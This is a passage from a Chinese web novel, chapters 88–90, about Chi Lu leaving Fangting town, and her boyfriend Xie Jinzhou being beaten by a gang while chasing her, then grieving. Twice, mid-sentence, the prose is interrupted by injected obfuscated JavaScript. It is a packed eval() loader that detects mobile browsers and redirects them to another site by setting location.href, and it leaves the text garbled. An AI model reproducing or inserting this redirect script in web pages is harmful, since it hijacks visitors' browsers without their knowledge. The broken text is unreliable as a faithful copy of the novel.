驰路拿过布鞋,明明很轻,她却觉得沉甸甸的,眼睛顿时有些涩意。 这是第一次有人给她亲自做鞋,虽然是老式布鞋,但在她眼里是最好看的布鞋。 …… 拉着行李箱打开门时,正好遇到了上楼的谢林乔,她惊讶地问:“阿驰姐姐,你要去哪里?” 驰路放下箱子,弯腰跟谢林乔说:“小乔,姐姐要跟妈妈回去了。” 谢林乔脸上的笑容顿时消失,半晌没说话,好一会儿才恢复笑容:“阿驰姐姐,不要忘记小乔。” “不会的。”驰路抬手抚上谢林乔的脸,“阿驰姐姐会永远记住你。” 记住你,记住谢奶奶,记住有关于芳町镇的一切。 还会记住,她热烈爱过的少年——谢劲舟。 88. 再见了,我的神明 「小蝴蝶,下雪了。 你看见了吗? 可惜,我要食言了。 没办法跟你一起看初雪了。」 ——《神明降临》 下楼时,驰路看到院门前停了一辆车,从车上走下来两个人,是路漫、李浦。 “阿驰,都整理好了啊。”路漫走上前,“身份证、手机都带了吧。” “嗯。”驰路面无表情地往外走,看了看右手边的平房。 谢奶奶从里面走出来,拿出一个手帕,看起来鼓鼓囊囊的,塞到她手里:“阿驰,这是你给我买摆摊车的钱,先还你一部分,剩下的以后还你。你也知道的,小谢、小乔……” 驰路知道她要说什么,边把厚手帕塞回谢奶奶手中边说:“奶奶,我能赚钱了,不用还我。我知道,你要攒钱给小谢、小乔上学,要给他们买吃的、用的,需要花钱的地方很多。” 谢奶奶不喜欢亏欠别人,硬是又把手帕塞到驰路手心。 手帕是老布做的,抵着手心,有着粗糙的质地。 驰路却觉得像握住了谢奶奶的手,温暖的,厚重的,沉甸甸的。 这是谢奶奶攒了多久才攒了这么多的钱? 她一直没忘记当初的诺言,赚钱了就还她。 其实,她送给谢奶奶摆摊车,从未想过要她还钱。 送她的就是送她的,没有还钱的道理。 两人推搡间,驰路架不住谢奶奶的屡次硬塞,生生地把钱拽在手心,面色复杂,像拿着一块烫手山芋。 谢林乔没有像以前一样,像个小尾巴似的跟着。 不知何时下起了雪,地上已经铺了浅浅的一层,枣树的枝丫上被白雪覆盖,一眼看去,像结了无数的白果子。 谢劲舟不在,谢鸿运也不在,院子静悄悄的,李浦走上前帮她拉行李,只有车轮压过的声音。 从盛夏住到寒冬,算算,她已经在这里住了整整7个月,两百二十一天。 每一天都特别,每一天都值得她铭记。 她跟他说过,想跟他一起看初雪。 现在下起这个冬天的第一场雪,她却要离开了,没有跟熟悉的人一一告别,就跟她来芳町镇时一样。 不一样的是,这次离开,不是她一个人了。 驰路上了出租车,朝院子里看,看到谢林乔趴在二楼阳台上,朝她挥手,大声喊着:“阿驰姐姐,有空了记得回来。” 驰路没有回答,只是也跟她挥手。 她不给予可能无法兑现的诺言,这次回去,也许归来无期。 …… 车启动了,一路开过小冬家、王嫂家,还有罗子昂家。 没看到罗子昂,她妈妈正在院子里洗衣服。 第一次跟罗子昂见面的场景在眼前浮现,暗夜里,她在巷子里迷了路,突然闯入一个白色刺猬头的男生,嚣张地把她按在墙上,说话特别横:“你快把我的东西拿出来。” 她怎么也不会想到,这个看起来嚣张的中二少年,其实骨子里流淌着善意的热血。 一幕幕熟悉的景色从眼前掠过,只是所有的景色里没有谢劲舟。 心里空落落的,像遗失了最珍贵的东西。 手机响了起来,是班主任老马打来的,问她为什么要转学,她把自己在这里遭遇网络霸凌的事跟老马简要说了下,说自己去新的环境会好。 但她没有告诉老马,其实不只是这件事,还有谢鸿运。 只要她在芳町镇待一天,她就要提心吊胆一天。 她不知道谢鸿运还会给自己炸出什么雷。 她想跟谢劲舟多待一天,但现实却将他们一步步推远。 挂断电话,余光瞥见一抹深蓝色,扭头回望,深蓝色的摩托车几乎擦着出租车疾驰而过。 那抹雾霾蓝的头发从头盔里露出一截,在苍茫雪天里,显得格外耀眼。 后备箱上放了两束花,一束洋桔梗,一束红玫瑰,新鲜、好看,这是要送给她的? 驰路空落落的心起了波澜,心脏下坠,袭来疼痛。 他的身影越来越远,她的耳畔响起他跟自己说过的话,一句句,清晰如昨。 “驰路,你听好了,你没法着陆的时候,我就做你的不夜港;你没法走出来的时候,我就做你的引路星;你的世界坍塌的时候,我就做你的神明,送你一座永不倒塌的神庙,让你做我唯一的信徒。” “神明高高在上,神明也可以为信徒弯腰。” “阿驰,跟我谈恋爱。” “遇见你之后,我不会让你做我的月抛型女朋友,你是永久型的。而我,只对你永久。” “阿驰,我说的,能走多久就走多久,是指,只要你不放手,我绝对不放手!” “你跟着我,我继续做你的神明,以后不会让你受委屈!” “阿驰,生日快乐,你以后的每次生日,我都不会缺席!” “新的一年,祝我的蝴蝶,自由飞翔,野蛮生长!” “我希望我的蝴蝶红遍天,也希望能停留在我左肩!” “驰宝,我没信仰过什么,但从此以后,你就是我的信仰!” …… 谢劲舟,舟哥,对不起,你的蝴蝶,只能陪你走到这儿了。 你是我贫瘠生命里唯一的神明。 再见了,我的神明。 * 谢劲舟将摩托车开进了院子,却发现院子里空无一人,厅堂的门敞着,雪地上全是凌乱脚印,比他上午出门时多了很多。 他隐隐觉得不对劲,意识到发生了什么,但还是固执地跑着上楼,一把推开驰路卧室的门。 门没锁,微微遮掩着,他一推便开了。 屋里暖烘烘的,残留着刚关掉空调后的暖风。 入目是床,被子还在,跟往常一样,叠成长条,再看桌子,上面的东西几乎都没了,书、课本、练习册都不见了,只留下一个笔筒。 桌上有一张作业纸。 谢劲舟手里的两捧鲜花轰然落地。 他走上前,拿起作业纸,眸子越来越沉,心倏然往下坠。 早有心理准备,但真正发现她离开时,心一下子落空,想抓住什么却什么都抓不住。 他双手不住地揉搓着脸,舌尖顶了顶腮帮。 她的蝴蝶,够狠啊,连招呼都不打一下就走了。 他看着作业纸,百般情绪涌上心头,烦躁得要命。 驰路用潇洒的字迹写着: “舟哥,我走了。” “谢谢你这二百一十天对我的收留和照顾。” “谢谢你愿意做我唯一的神明,一次次将我拯救。” “谢谢你做我的男朋友,让我知道,爱不是玩玩而已,爱也可以真诚以待。” “对不起,我要离开这里了。” “舟哥,祝你学业有成、前途无量,祝你在赛场上战无不胜,祝你往后的每次努力,都能精准上岸。” 他要这些祝福有个屁用! 他不要什么祝福,他要她跟他见最后一面,来一次告别。 可她连告别的机会都没给他! 作业纸下面有三本笔记本,谢劲舟翻了下,是语数外三门主科的重点题笔记。 熟悉的字迹,潇洒恣意,每笔每划,似乎都蘸满了隽永的爱意。 她什么时候准备的?无数个深夜熬夜准备的? 握着笔记本的指关节收紧,露出手背上的青筋。 笔记本上似乎还留有她的气息、她的温度。 他的蝴蝶,似乎还陪着他。 咚咚咚,有人在敲门。 谢劲舟回神,看向门边,站了个扎着两条羊角辫的小姑娘,跟他说:“哥哥,阿驰姐姐刚走,你现在去追吧,把她追回来。” * 深蓝色的摩托车驰骋在巷子里,发出轰隆而过的声音。 她要回去,要先坐大巴,再坐飞机。 他要第一时间赶到汽车站。 出发前,他给她发了条信息:阿驰,在车站等我,我现在去找你。 没有收到她的回复。 他开得很快,像在赛场上的王者,把路上的车一一甩到身后。 他以为这样追,就能追上他的蝴蝶,还没出万柳巷,便被人截住,面前横着三四辆摩托车,挡住他的去路。 谢劲舟一句话没说,护目镜后面的那双眼睛锋利冷漠,盯着面前的那个人,只一秒,踩下油门,眼看就要与前面的摩托车相撞。 对方没有一点要让开的架势,大佬一样一动不动。 谢劲舟的摩托车车身在即将擦过对方的摩托车时,迅速掉头,这才免于相撞。 摩托车上的人陆续下来,每个人都染着发,留着各种奇形怪状的中二发型,一看都是混社会的。 谢劲舟看出来了,其中一个人,他认识,是之前在霓虹酒吧调戏驰路的抬腿社会哥。 久未谋面,此人看起来春风满面,后面跟着一帮兄弟,有个人直接拿了一把刀抵在他的脖颈处,让他警觉地不敢轻举妄动。 挡着他摩托车上的人最后一个从车上下来,拿下头盔,从兜里慢悠悠地拿出一包烟,抖出一根。 旁边的小弟特别有眼力见地帮他点上。 他一头黑发往后梳,面相凶狠,左脸有一道疤。 他几乎是摇着身子,晃到了谢劲舟面前,抬起他的下巴,眯着眼看他:“你就是谢劲舟?” 语气里尽是不屑和讥讽。 “龙哥,就是他上次打了我们虎哥。”点烟小弟看着谢劲舟,又去看虎哥,“虎哥,是他吧。” “浑蛋!”被称为“虎哥”的一把将谢劲舟从摩托车上拽下来,手里也拿着一把刀,抵在他的脖子上,恶狠狠道,“你不是挺厉害的吗,这次看看你能怎么横!” 上次,虎哥带人一起把谢劲舟、驰路绑到废弃楼里教训了他们一顿。结果,谢劲舟没有轻饶他们,找人打了虎哥和他的那帮兄弟,那笔账,他之前好几次都想跟他算一算,奈何每次见他,都是一帮人,没敢硬碰硬。 这次终于让他逮着机会了,只有他一个人,怎么着也要教训教训他! 谢劲舟知道这是一场还没开始就要输的局面,他们像是赶完一个场子,恰好遇到他,个个都带着武器,有的拿刀,有的持棍。 他一个人要对抗七八个人,如果他们没有武器,还能有胜算,但现在,他落在下风。 “为了那个臭婊/子,值得报复我们兄弟们吗?”虎哥咬牙道。 刀尖抵着谢劲舟的脖子,他只要动一下,就会划破皮肤。但他听到他说“臭婊/子”时,几乎什么都没想,下意识地抬腿朝他的膝盖狠狠踢了一下,踢得他人往后踉跄,刀一滑,割破了他的脖颈,血瞬间渗出来,疼意蔓延。 谢劲舟却丝毫不顾,刚想抬腿朝虎哥腹部踢去时,后背被人狠狠砸了几根子,砸得他弯了脊背。 虎哥被踢得膝盖泛疼,对谢劲舟的恨意更浓,朝自己的小弟们说:“给我打!” “竟然敢打我们家虎子,不想活了,是吧!”龙哥一棍子朝谢劲舟的背上狠狠砸去,“你跟虎子,跟我们这帮兄弟服个软,我还可以考虑考虑轻饶你。” 所谓的服软,是他们道上的话,服软就是下跪。 想让他给他们下跪,不可能! 谢劲舟的双手被两个小弟反剪在背后。 他努力挺直被打弯了的腰,后背越发疼,却一点没有服软的态度,反而透出不可一世的张狂。 谢劲舟眸子犀利地扫了眼虎哥:“你们怎么对我都行,但不能说她的一个不是!” 虎哥嗤笑:“吼,不是浪子的吗!什么时候变痴情种了?” 虎哥抓住了他的软肋,他越是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他想起了两年前,他也是拿着棍子一下一下地砸在谢鸿运的右腿上,后来导致他的后腿坡了。 真是因果报应! 疼痛肆虐,他却逼着自己睁着眼,望着落下来的雪花。 谢劲舟缓缓抬手,手上落下片片雪花,融在他沾了血的掌心,有种极致的破碎感。 他想起了第一次在芳町镇见驰路的画面。 她蹲在马路牙子上抽烟,穿着辣妹服,盛夏时节,穿着黑色铆钉靴。 她抽烟的样子,眼神迷茫又飘忽,却又透着一丝傲然。 她跟这座小镇的女生都不一样,长相妩媚,气质独特,人群里一眼便能看到的那种女生。 从她的神色中,似乎看到了自己,那个对前路茫然、对当下不妥协的自己。 他从未想过,会跟她有交集。 如果他的一生只能度过一次盛夏,那么就停留在十八岁,遇见驰路的这次盛夏。 夏天热烈,他的蝴蝶,闯入他的世界。 堕落的神明,终于被人托起,成长绝境处,草长莺飞,万物逢生。 长势眼看越来越葳蕤,却随着蝴蝶的离去,而渐渐有了颓势。 她曾跟他说:“舟哥,活着就像一场体验,在宇宙里环游,看太阳升起,看星星熄灭。每一种情感,会给我们带来不一样的情绪价值,好的,或者坏的,不管我们愿不愿意接受、能不能接受,总会去体验,这大概就是我们生而为人,为活着而付出的代价。” 他正饱受身心的剧烈疼痛,脸颊上的血顺着额头不停往下落,落到嘴巴里,满是血腥味。 如果活着是一场体验,这样的体验,他宁愿不要。 他不想看太阳升起,不想看星星熄灭,他只想看看他的蝴蝶。 手机不知何时从口袋里滑落,上面跳出一条信息,只隐约看到两个字“蝴蝶”。 是他给驰路的备注:我的蝴蝶。 谢劲舟伸手想去拿手机,却被人一下踩住。 他越想使劲抽出手机,对方踩得越用力。 他刚抽出一点,对方的脚尖踩到他的手。 谢劲舟非但没退,反而继续去抽手机。 身上的棍点如雨点般落下,疼痛一阵阵袭来,但他不在意,所有的感官都集中在手机上。 他想看看,他的蝴蝶,给他发了什么。 不过,踩他手的人,并不想让他如愿,碾着他的手,几乎要将他的指节踩断。 “真是个硬骨头!”踩他的人,抬脚用力往他手上踩去。 他以为谢劲舟会躲开,谁知他一点没躲,手机被抽过去,紧紧握住。 刚握住的手,被一脚踩上,立刻渗出血珠,蔓延至骨节、手背。 “你要手机是吧,”踩他的人一把踢开他的手,狠狠朝手机跺上去,连跺几脚,跺到手机屏幕碎裂才松开,咧嘴狰狞地笑道,“老子偏不让你得到!” 谢劲舟的视线一直落在手机上,看到手机被跺得稀烂,一种无力的愤怒感深深地将他包裹。 他终于抬头,看清踩他的人,是这帮人口中的“虎哥”。 棍棒一下下砸在他的背上、腿上,每砸一下,都袭来巨大的疼意。 他想反抗,却无力反抗。 生而为人,却如蝼蚁,真是可悲至极! 所谓傲骨,所谓脊梁,都被人生生打碎。 “这次非要把你打怕了,看你下次还怎么横!” “为了一个臭婊/子,你竟敢打老子,看老子不打死你!” 不知过去了多久,有人说:“虎哥,我们要不要别打了,他的腿好像断了。” …… 谢劲舟耳边的声音越来越模糊,眼前的雪像一场泡影,即将消弭。 驰路是他的蝴蝶,是他就算死,也要护住的蝴蝶。 他不允许任何人伤害她,也不允许任何人诋毁她。 89. 等的人没出现 「Z,我等到了快来不及检票才上车。 可是,没等到你。 你食言了,你这个浑蛋! 不过……浑蛋,你有没有事?」 ——《小蝴蝶的自由》 阿驰,在车站等我,我现在去找你。 驰路把这条信息看了一遍又一遍,终究没等来谢劲舟。 “别等了,他不会来的。”路漫催她,“要检票了,我们进去。” 驰路看着入站口的方向,人来人往,却没有一个是谢劲舟。 期待落空,像一下子瘪掉的气球,气都被抽走。 谢劲舟遇到什么紧急的事了吗?她有些担心,却又不能回头。 她怕自己一回头,所有铆着要走的劲儿都没了。 她跟着路漫、李浦后面检了票,坐上了大巴。 车子启动时,轰隆声作响,一路驶出车站,没了来时的风尘,只有碾过薄雪留下的车痕。 …… 路途颠簸,从坐大巴,到坐飞机,再坐出租车,十几个小时的车程,折腾到家,已是深夜时分。 驰路却没有一点倦意,脑中清醒地一次次晃过谢劲舟的脸。 她跟路漫来到了一座陌生的城市——江城,城市处于南方,靠海,回家途中,打开车窗,驰路都能闻到空气中海水的潮润气息。 路两旁的景跟方町镇完全不同,树木葱绿,叶子繁茂,护栏处摘种的花树开满了一簇簇粉的、红的花。 十几度的天气,温度刚刚好,驰路脱了羽绒服,凉风吹散热气。 车后座的两个人,时而低语,时而谈笑,时而发出旖旎声响。 驰路都不用看后视镜,便能知道自己的老妈在跟她的男朋友在做什么。 老妈一直追求浪漫的爱情,却次次栽在男人手里。 直到遇到李浦,她跟驰路说:“阿驰啊,妈妈这是遇到了爱情。” 也许这就是爱情吧。 为了喜欢的人,去他的城市,也为了他,甘愿付出一切。 陌生的街景,驰路看得心不在焉,一幕幕,渐渐变成芳町镇的景,旧而整齐干净的五金店,小而精致好看的首饰店,装修普通却温馨的床品店。 穿街过巷,车流越来越少,一辆深蓝色的摩托车从车旁驶过,开往反方向。 驰路情不自禁地转头,男生的背影跟谢劲舟的重合,仿佛是那个在赛场上疾驰的肆意张扬的少年。 背影一点点远去,她的心也一点点下沉。 直到背影消失,驰路才回神,拿出手机,谢劲舟没有发来新的信息。 最新的一条是她发给他的:舟哥,你在哪里?我等你。 想给他打电话,但被克制住。 此刻,驰路靠在别墅二层的栏杆上,指间星火点点,烟雾在周身萦绕。 暗色里,她目光茫然空洞地盯着楼下的方向,像在等着谁。 耳边似有轰隆声驶过,又似有人朝她的方向看过来,眼神不羁又深邃。 她在栏杆处待了很久,烟灰缸里满满都是烟蒂。 过了凌晨两点,她等的人,依然没有出现。 * 凌晨两点的芳町镇,安静、祥和,有的人家院门前的灯笼亮着灯,照亮夜归人。 罗子昂用他的电三轮车,载着谢劲舟从医院开回栾花巷,快到栾花巷32号时,谢劲舟拍了拍他的肩膀,让他停车。 “舟爷,你腿都断了,不会要自己下来走吧!”罗子昂紧急刹车,侧头看谢劲舟。他这腿伤得挺严重,医生让他至少住院三天,结果,怎么劝他都不听,非要半夜回来。 “你看我能下来吗,你推我!” “……” 罗子昂只好下来,展开折叠的轮椅,搀扶着谢劲舟坐上去,推着轮椅往前走,边走边说:“舟爷,谁打你的,你怎么不说,让我知道了,非要把他的腿都打断!” 谢劲舟隐在暗夜里的那双黑眸定了两秒,随即看向罗子昂:“不用追究了。世上事,有因果。老子认了!” “什么因果?”罗子昂一开始没反应过来,但视线掠过谢劲舟打着石膏的右腿,联想到谢鸿运坡的右腿,恍然道,“艹,你爸的事,关你屁事啊!他那是欠抽。你这是招谁惹谁了,要对你下这毒手!” 罗子昂发现谢劲舟时,他像烂泥一样,躺在万柳巷里,身下、脸上、腿上全是血,一动不动地躺着。 就算有人路过,也无人问津,匆匆走过。 他立刻从电动三轮车上下来,疾步跑向谢劲舟,蹲在他面前,双手搭在他肩头,一声声喊他的名字。 许久,谢劲舟才睁开蒙着血水的眼睛,扯开嘴角费力地说了句:“你终于来了。” “你怎么不给我打电话!”罗子昂气得咬牙。 谢劲舟的眼前晃过驰路的脸,迷迷蒙蒙间,他以为来的是驰路,花了最大的力气,牵扯着沾染着血的嘴角,极力地扯出一抹笑:“我……没……事。” 谢劲舟说得艰难,说完无力地又闭上眼睛。 罗子昂拉着谢劲舟去医院做了各项检查,身上有大大小小的伤,青一块紫一块,血迹斑斑,都是或深或浅的皮外伤,最严重的是他的右腿,被人打断。 检查完,做完伤口处理,已到深夜。 罗子昂跟谢劲舟混了这么久,头一次见他受这么严重的伤,到底是谁干的,他问了多次,他偏偏只字不提,问烦了就冷眼瞪他:“闭嘴!” 他有些怀疑,谢劲舟是不是被被人打傻了,被人揍这么狠,还说什么因果。 狗屁因果! 谢鸿运那是活该,两年前,是他先挑的头,是他先打的谢劲舟。 他不允许有人这么欺负谢劲舟。 从捡到受伤的谢劲舟送他去医院做各项检查、各种治疗,到回来,他都面不改色,就连医生给他断腿接骨时,他连眉头都没皱一下。 但罗子昂发现,推着谢劲舟进了院门,看到里面停着蓝白色摩托车时,像变了个人,疯了一样,从轮椅上站起来,不管不顾地往前跑。 他几乎是拖着坏掉的右腿跑过去的,站在摩托车前,把手搭在手把上,久久凝视。 罗子昂不明所以,跑上前问他:“舟爷,这是你买的新摩托车?” 许久,他才听到谢劲舟说:“她送我的。” “她?”罗子昂蹙眉,“舟爷,你在说谁?” “还能有谁。”谢劲舟抚着摩托车车身说,“阿驰。” * 谢劲舟看中这辆摩托车很久了,上个月跟驰路一起逛摩托车车展,驰路问他最喜欢哪辆,他指着一辆蓝白色的说:“这辆,早晚都会是老子的!” 那是一辆被单独展览的豪车,驰路笑他口出狂言:“你就做梦吧,你买得起?” “老子想要的东西,都会得到!”谢劲舟说这话时,肆意又狂妄。 他不知道驰路给他拍跟这辆摩托车的合照时,就生出了要买下送他的想法。 本来想新年那天送给他,但这辆是全球限量版,只有五辆,迟迟不到。 对方问她还等不等,她继续等着。 新年那天,落日时分,谢劲舟在洗手作羹汤,驰路走出静心小屋。 回来时,驰路环住谢劲舟的腰,探头看他烧汤:“舟哥,什么时候开饭?” “把菜端过去,我把汤烧好就过去。” “闭上眼睛。” “干吗?” 驰路抬手遮住谢劲舟的眼睛。 见谢劲舟闭上眼,驰路拉过他的手,给他戴东西。 驰路松开手,谢劲舟低头朝左手腕处看去,多了一条手链,用洋桔梗的花枝做成的。 “只能就地取材,嫌弃也要收着!”驰路看着自己做得粗糙的花枝手链。 谢劲舟一把将她拉入怀里,勾住她的右手,低头在她的中指底部狠狠咬了一口,留下一道深深的牙印。 “谢劲舟,你干吗!”驰路疼得缩回手,看着牙印,怀疑他是不是疯了。 谢劲舟又拉过她的右手,在方才的牙印上落下一吻,继而看着驰路的眼眸:“回礼。” “这算什么回礼!”驰路抓起他的右手,也在他的中指上狠狠咬了一口,“扯平。” 谢劲舟不怒反笑,把她抱在怀里,俯身在她耳畔低语:“右手中指的牙印,是我送你的谢劲舟牌的牙印戒指,这世上只有一个。从今以后,你,驰路,就是我的人了。” …… 罗子昂走后,谢劲舟细细地把摩托车看了一圈,发现这不只是全球限量版,还是全球定制款,车前白色色块里的是蓝色数字12,色块上有一只蹁跹的黑蓝色燕尾蝶,燕尾蝶旁边写着一行英文:AgainstAllOdds. 他抬手抚摸着那行英文,扯起受伤的嘴角,露出一抹苦笑。 AgainstAllOdds. 勇往直前。 他的蝴蝶飞走了,他怎么勇往直前? 谢劲舟在原地待了很久,久久地倚靠着蓝白色的摩托车,拿出手机,想要做点什么,但手机已被踩坏,他什么都做不了。 驰路到江城了吧。 她会有更好的未来。 而他,或许,只是她人生路上的一段插曲,过段时间,就会被遗忘。 想想还是遗憾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560806|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,遗憾没能见她最后一面。 谢劲舟将摩托车抚了一遍又一遍,冰凉的触感蔓延指间。 在寒冷的冬夜里,手被冻得发麻,他全然不在意。 开始落雪了,谢劲舟生怕摩托车被雪覆盖,急忙推着摩托车往小屋里走,奈何他身上受了伤,右腿又打着石膏,牵扯到伤口,袭来疼痛,他不管不顾,只想着要立刻把摩托车保护好。 但他走得太急,右腿又受了伤,路滑,一个趔趄,连人带车摔了下去。 夜晚寂静,声音响亮,谢劲舟撞上坚硬的车身,伤口越发疼痛。 他想爬起来,右腿却使不上力,想靠右手撑着地面起来,胳膊上的伤口被撕开,疼得他微微蹙起眉,一股前所有未的无力感如潮水般袭来。 谢劲舟干脆不挣扎了,仰面躺在摩托车车上,坚硬的车身硌得他后背一阵阵疼。 雪花片片落下,落在他的头上、脸上、眼睫上。 答应过要跟她一起看雪,终是没能如愿。 世界仿佛被巨大的网罩住,而他处于网的中心,挣脱不得。 浑身似乎都被冻住,尤其是胸前的那颗心脏,仿佛都停止了跳动。 眼前被落雪一层层覆住,脑袋里全是空茫。 “小谢,你怎么躺地上了!” 耳边传来苍老的声音,谢劲舟置若罔闻,抬手去接落雪,没有接到雪,而是被一只手抓住,温暖的、布满纹路的。 “小谢,别躺地上了,多凉,起来。”谢奶奶拉着他的手想要拽他起来,他却一动不动。 谢奶奶不得不蹲下身看谢劲舟,看到他神色呆滞地望着天空,毫无生机,像被人抽走了魂魄。 过了好一会儿,谢奶奶才听到谢劲舟声音发哑地说:“你在哪里?” * 谢奶奶看着谢劲舟打了石膏的右腿,问他发生了什么,他只说“没事”。 谢奶奶眉头紧皱,满脸担忧,但什么都没问。 她看着他慢悠悠地把摩托车往屋里推,走得踉跄,急忙跑上前要帮他推,他却说“我来”。 谢奶奶肩头披的红花袄子滑落,她拉了下,看着谢劲舟像残破的木偶,费劲地将摩托车推进屋。 过了很久,谢劲舟才从屋里出来,颠着受伤的右腿走向轮椅。 轮椅上落了薄薄的一层雪,谢劲舟没有擦去,而是直接坐上去,瞬间感到一股凉意,如同他已然冰封的心。 他双手转动车轮,轮椅往前滑去,刚滑到门边,像想到什么,转头看着还站着雪中的谢奶奶,一步一步地往她身前滑。 走到谢奶奶面前,谢劲舟抬头看向谢奶奶,几次都欲言又止。 谢奶奶蹲下来,看着他,声音沧桑又温和:“孩子,有什么想说的就说,奶奶不是别人。” 谢劲舟心头猛然泛酸,不管自己长多大,是十岁,还是十八岁,在奶奶这里,永远可以做一个小孩。 他拉起奶奶肩头的红花袄子,拢好,艰难地扯出一抹笑说:“奶奶,你快回屋,我没事。” “是不是又是老谢惹了什么人,你去帮忙了?”谢奶奶心疼地看着谢劲舟,看到了他眼角、嘴角的伤痕。 谢奶奶抬手想要去摸他的嘴角,谢劲舟却偏过头去,推着谢奶奶往屋里走:“奶奶,回屋睡吧。” 如果不是老谢,那只能是驰路的离开能让自家孙子如此失魂落魄了。 谢奶奶停住脚步,转头看他:“小谢,人生是站台,我们走进去,也总会走出来,进去的人去往下一站,走出来的人会等到想见的人。你要走出来,小谢。” 谢劲舟心下一滞,搭在谢奶奶肩头的手停住。 走出去,他就能等到想见的人了吗? …… 谢奶奶想要推谢劲舟进屋,却被他回绝了:“奶奶,你赶紧进屋,外面冷,别着凉了。” 谢奶奶硬是把他推到了厅堂,想继续送他上楼,谢劲舟说:“奶奶,你回去吧,我可以扶着墙上去。” 谢奶奶目送他的背影,直到消失在楼梯的拐角才离开。 她进了小屋,刚坐到床上,想要躺下来,忽然看到枕头下面露出熟悉的一角。 她拿开枕头,顿时一愣,怎么会出现在这里? 是她给驰路的那个粗布手帕。 会不会自己看花眼了? 谢奶奶去摸手帕,鼓鼓囊囊的,厚厚一叠,跟她送给驰路时,一样的厚度。 这孩子,什么时候放的?怎么就这么傻呢! 半晌,粗布手帕湿了一片。 砸在上面的液体,宛若窗外下着的雪。 纷纷扬扬,似乎永远也下不完。 90. 蝴蝶与舟不相逢 「小蝴蝶,你不在的这六年。 我很想你。」 ——《神明降临》 谢劲舟往楼梯上走时,只能扶着墙上去,跨到一级台阶,眼前仿佛出现了驰路。 跟她在一起后,她总喜欢捉弄他,他想跨台阶,她偏偏要挡在他面前,按住他的肩膀说:“舟哥,想走可以啊,给点好处。” 驰路抬手,谢劲舟什么都没给她,而是抓住她白皙的手,吻住她的指节,咬一口,留下牙印。 “谢劲舟,你耍赖!”驰路想抽回手抗议。 谢劲舟却一把将她揽入怀,打横将她抱起,咬着她的耳廓:“不是要好处吗,不够是吧,老子再去给你点好处。” 他给她一场场旖旎缠绵,她在浪潮般的起伏中,体味热烈滚烫,如同体验烈阳高悬的夏天。 台阶上,再没人挡在他面前,世界一下子落空,心也空下来,无数细针密密麻麻地扎进来,疼痛胜过身上的每一处伤口。 谢劲舟没去自己的房间,而是去了驰路的房间,入目漆黑一片。 他没有开灯,借着窗外透进来的光,看到了蓝色的床单、被子,也看到了在阳台上飘摇的衣服。 谢劲舟走到阳台,将衣服收起来,抱在怀里的衣服已经被雪打湿。 他低头,将脸埋在她的那件白色毛衣里,闻到了玫瑰花香,是她身上散发出来的味道。 余光中瞥见藤椅,似乎看到那个长着一双桃花眼的小姑娘,朝他勾着小拇指,一眼万年地笑着看他:“谢劲舟,你过来啊。” 谢劲舟有瞬间的愣神,仿佛她真的在。 半晌,谢劲舟才走进房间,把驰路的衣服一件件叠好,想着等明天放晴了,再挂到阳台上。 …… 谢劲舟换睡衣时,看到了穿衣镜里的自己,身上有旧伤痕,还有新的伤。 他转过身来,后背上隐隐可见一道道抓痕,是昨晚驰路抓下来的。 她睡意朦胧,他万分清醒,他们一次次沉沦,似梦非梦。 深夜时分,浪潮翻涌,他们是彼此停靠的岸,浪无法将他们分开,他们紧紧相依。 天亮了,各自远行,天各一方。 谢劲舟抬手抚上那一道道抓痕,上面似乎还残留着她的温度。 他想起了她抓挠他肩膀的手指,贴着蝴蝶亮片的指甲片,闪亮、妖娆,在明明灭灭的光影中闪烁,撩动人心。 谢劲舟从自己房间拿来了歌词本,开了灯,坐在桌前,写下歌词名《蝴蝶灯火》。 天空炸现的烟火 是你清澈的轮廓 疯狂又寂寞 牵住我的手 拥抱我失落 给我以后 半明半暗是萤火 你是蝴蝶灯火 闯进我生活 卷入你漩涡 戴上命运枷锁 让我陷落 我不是飞蛾 却一次次扑火 我许下承诺 不想与你错过 我是救世主 却不得不抽身 我是个俗人 给不了你贪欢 喜欢是浆果 又酸又甜 结了一世界的心动 却没有结果 翩跹飞舞的蝴蝶 是你清晰的身影 乖张又汹涌 穿透我魂魄 从来不落空 为你着魔 半明半暗是萤火 你是蝴蝶灯火 闯进我生活 卷入你漩涡 戴上命运枷锁 让我陷落 我不是飞蛾 却一次次扑火 我许下承诺 不想与你错过 我是救世主 却不得不抽身 我是个俗人 给不了你贪欢 喜欢是浆果 又酸又甜 结了一世界的心动 却没有结果 喜欢是真 热烈是真 放手也是真 蝴蝶赤城 不该隐忍 该驾驭人生 现在变成听说 是我不想要的坠落 想为你永远停留 而我们 只是彼此的一笔带过 说实话 我很难过 再见了 我的路过 你是蝴蝶 是我此生的灯火 这晚,谢劲舟睡在了驰路的床上,每一处都好似被她的气息包围着,仿佛她还在。 但他知道,他的蝴蝶飞远了,可能永远不会飞回来了。 少年对爱从来敷衍,从未想过追蝴蝶,第一次想要抓住蝴蝶,蝴蝶却消失在了他十八岁的冬天。 * 安然得知驰路转校的消息,是在她开学那天,看到她发了一条朋友圈:新的一天,新的开始。配了一张陌生的教学楼的图片。 她立刻给驰路发信息,问她发生了什么,这才知道原来她又转校了。 安然没转过学,但知道到新环境的感受,会不适,甚至会遭到排斥。 不过,驰路的转学对她应该是好事,毕竟之前在方町镇发生了不少对她不利的事。 那天,安然给驰路打了通电话,告诉她,以后发生什么事都要告诉她,要不然就是不把她当朋友。 驰路的声音很低、很哑,似乎很难发出。 安然问她是不是感冒了,她说没有。 其实,自从离开了方町镇,她的嗓子就时好时坏。 安然放心不下她,在江城鲜花盛开的春天,来到了江城一中,见到了她挂念的驰路。 